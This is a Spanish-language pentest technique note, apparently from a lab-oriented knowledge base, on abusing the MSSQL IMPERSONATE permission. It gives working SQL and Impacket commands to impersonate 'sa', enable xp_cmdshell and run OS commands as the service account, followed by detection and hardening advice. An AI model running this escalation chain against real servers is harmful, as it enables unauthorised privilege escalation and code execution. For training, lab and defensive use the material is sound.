IMPERSONATE in MSSQL (EXECUTE AS LOGIN)
IMPERSONATE es un permiso a nivel de servidor en Microsoft SQL Server que autoriza a un login a asumir la identidad de otro con EXECUTE AS LOGIN = '<victima>'. La sesión entera pasa a operar con los permisos de la víctima hasta que se ejecute REVERT. Es una escalada horizontal muy útil cuando el login inicial tiene acceso limitado pero puede impersonar a otro con permisos sobre bases sensibles o sobre el servidor.
Conectar y enumerar
Desde Linux con Impacket, o con PowerUpSQL desde Windows:
impacket-mssqlclient <domain>/<user>:<pass>@<ip> -windows-auth # o sin -windows-auth para SQL authDentro, se listan los logins que podemos impersonar (permiso IMPERSONATE cuyo grantee somos nosotros):
SELECT dp.name AS puede_impersonar_a
FROM sys.server_permissions pe
JOIN sys.server_principals dp ON pe.grantor_principal_id = dp.principal_id
WHERE pe.permission_name = 'IMPERSONATE';Saltar y escalar
EXECUTE AS LOGIN = 'sa'; -- asumir la identidad
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin'); -- confirmar quien somos y si somos DBASi la víctima es sa (o cualquier sysadmin), la escalada es a DBA total, lo que abre RCE por xp_cmdshell:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- reactivarlo si estaba off
EXEC xp_cmdshell 'whoami'; -- ejecuta como la cuenta del servicio SQL
REVERT; -- volver a nuestra identidadEl comando corre como el usuario del servicio SQL (típicamente NT Service\MSSQL$INSTANCIA o LocalSystem), lo que suele dar SYSTEM en el host. PowerUpSQL automatiza el descubrimiento y el salto (Invoke-SQLImpersonate, Invoke-SQLEscalatePriv).
Requisitos
Un login válido en el servidor MSSQL (SQL auth o Windows auth) con el permiso IMPERSONATE sobre otro login más privilegiado. Para el RCE, que la víctima impersonada sea sysadmin y que el servicio permita xp_cmdshell.
Matices. No confundir con IMPERSONATE ANY LOGIN (más amplio) ni con la impersonación a nivel de base (EXECUTE AS USER, limita el salto a una BD). Cuando el impersonado tiene acceso a servidores enlazados (linked servers), la cadena continúa con EXECUTE ... AT hacia otra instancia. En dominios AD, si el SPN de MSSQL es kerberoastable, el Kerberoasting puede ser el paso previo para conseguir el login.
Cómo detectarlo. Con la auditoría de SQL Server activa, EXECUTE AS/REVERT y los cambios de contexto de seguridad quedan registrados; la reactivación de xp_cmdshell (sp_configure) y su ejecución son eventos de alta fidelidad, porque casi ninguna aplicación legítima lo toca. En el host, xp_cmdshell aparece como el proceso sqlservr.exe lanzando cmd.exe/whoami como hijo (Event ID 4688 / Sysmon 1), firma inconfundible de RCE vía base de datos. Un login de aplicación ejecutando de golpe EXECUTE AS LOGIN='sa' debe alertar.
Defensa. Revisar sys.server_permissions y no otorgar IMPERSONATE fuera de flujos justificados; usar control de acceso por rol (db_datareader/db_datawriter) en vez de impersonación cruzada de logins; correr el servicio SQL con una cuenta de mínimo privilegio (no LocalSystem) y mantener xp_cmdshell deshabilitado.
Máquinas donde se aplica
- HokkaidoProving Grounds Practice